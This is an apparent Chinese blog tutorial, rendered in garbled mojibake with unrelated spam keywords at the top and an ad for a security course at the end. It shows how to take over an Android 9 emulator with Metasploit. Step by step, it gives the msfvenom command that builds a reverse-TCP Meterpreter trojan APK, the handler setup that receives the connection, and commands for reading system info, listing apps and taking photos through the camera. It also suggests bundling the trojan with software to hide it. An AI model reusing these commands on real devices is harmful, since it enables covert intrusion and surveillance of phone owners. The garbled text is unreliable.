手機(jī)wap網(wǎng)站 源碼,太原論壇天涯社區(qū),線上電腦培訓(xùn)班,淘寶上做的網(wǎng)站 域名到期可以自己續(xù)費(fèi)嗎文章目錄一、前言二、演示環(huán)境三、滲透過程#xff08;一#xff09;查詢虛擬機(jī)中kali的IP#xff08;二#xff09;使用root權(quán)限#xff08;三#xff09;生成木馬#xff08;四#xff09;打開MSF#xff08;五#xff09;配置攻擊載荷#xff08;七#xff09;控…文章目錄一、前言二、演示環(huán)境三、滲透過程一查詢虛擬機(jī)中kali的IP二使用root權(quán)限三生成木馬四打開MSF五配置攻擊載荷七控制靶機(jī)的指令1、查看對方手機(jī)系統(tǒng)信息2、查看對方手機(jī)安裝哪些app文件3、控制攝像頭拍攝一張照片一、前言MSF全稱為Metasploit Framework是kali中一款全球知名的開源滲透測試工具。此文章中的方法只能進(jìn)行內(nèi)網(wǎng)滲透。由于kali在虛擬機(jī)中其顯示的內(nèi)網(wǎng)IP無法被外網(wǎng)的安卓手機(jī)S直接訪問所以不能直接將文章方法應(yīng)用于外網(wǎng)。該實(shí)驗(yàn)為模擬環(huán)境未經(jīng)授權(quán)的滲透都是違法行為我們都是守法的好公民。而且這種方法只能滲透安卓10以下的系統(tǒng)入侵滲透更高級的系統(tǒng)需要更加專業(yè)的知識再加上只能進(jìn)行內(nèi)網(wǎng)滲透所以這種方法很難進(jìn)行違法滲透二、演示環(huán)境攻擊主機(jī)虛擬機(jī) kali IP:192.168.147.129靶機(jī)聯(lián)想模擬器 安卓9三、滲透過程一查詢虛擬機(jī)中kali的IP我先在終端中輸入ifconfig查詢了自己虛擬機(jī)中kali的ip地址如下圖可知ip為192.168.147.129二使用root權(quán)限我先在終端輸入su root輸入自己的密碼使用root權(quán)限然后在此權(quán)限下進(jìn)行以下操作。三生成木馬這個(gè)木馬是放在靶機(jī)上的目的是與攻擊主機(jī)進(jìn)行連接使攻擊主機(jī)控制靶機(jī)為了隱蔽我們可以把木馬與軟件或網(wǎng)站鏈接捆綁在一起神不知鬼不覺地使木馬在靶機(jī)上運(yùn)行起來這也就是為什么盡量不要在第三方網(wǎng)站下載破解軟件不要隨便點(diǎn)擊不明網(wǎng)站的原因。這里我為了追求方便就直接裸木馬輸入msfvenom -p android/meterpreter/reverse_tcp LHOST192.168.147.129 LPORT6666 R 木馬.apk這里的 LHOST換成自己kali的ipLPORT換成一個(gè)沒被占用的端口后面的木馬安裝包apk的名稱自定義生成的安裝包apk會默認(rèn)生成在桌面的主文件夾中并把此木馬放在靶機(jī)上在靶機(jī)上安裝后軟件名默認(rèn)為MainActivity先不要運(yùn)行如下圖四打開MSF我繼續(xù)在終端輸入msfconsole打開SF這里打開之后顯示的圖案是隨機(jī)的五配置攻擊載荷我接著在終端中輸入以下命令進(jìn)行配置一條一條輸入use exploit/multi/handler //選擇模塊 set payload android/meterpreter/reverse_tcp //選擇攻擊模塊 set LHOST 192.168.147.129 //與你自己kali的IP保持一致 set LPORT 6666 //與你之前設(shè)置的端口保持一致###六運(yùn)行配置完之后我輸入run運(yùn)行然后雙擊靶機(jī)上的木馬使它在靶機(jī)上運(yùn)行出現(xiàn)類似如下圖則代表滲透成功七控制靶機(jī)的指令1、查看對方手機(jī)系統(tǒng)信息命令sysinfo2、查看對方手機(jī)安裝哪些app文件命令app_list3、控制攝像頭拍攝一張照片注意要先給虛擬機(jī)攝像頭權(quán)限安裝上相機(jī)有前置攝像頭開關(guān)的電腦要打開它命令webcam_snap也是成功拍到了我的鍵盤網(wǎng)絡(luò)安全學(xué)習(xí)資源分享:給大家分享一份全套的網(wǎng)絡(luò)安全學(xué)習(xí)資料給那些想學(xué)習(xí) 網(wǎng)絡(luò)安全的小伙伴們一點(diǎn)幫助對于從來沒有接觸過網(wǎng)絡(luò)安全的同學(xué)我們幫你準(zhǔn)備了詳細(xì)的學(xué)習(xí)成長路線圖?？梢哉f是最科學(xué)最系統(tǒng)的學(xué)習(xí)路線大家跟著這個(gè)大的方向?qū)W習(xí)準(zhǔn)沒問題。因篇幅有限僅展示部分資料朋友們?nèi)绻行枰住毒W(wǎng)絡(luò)安全入門進(jìn)階學(xué)習(xí)資源包》請看下方掃描即可前往獲取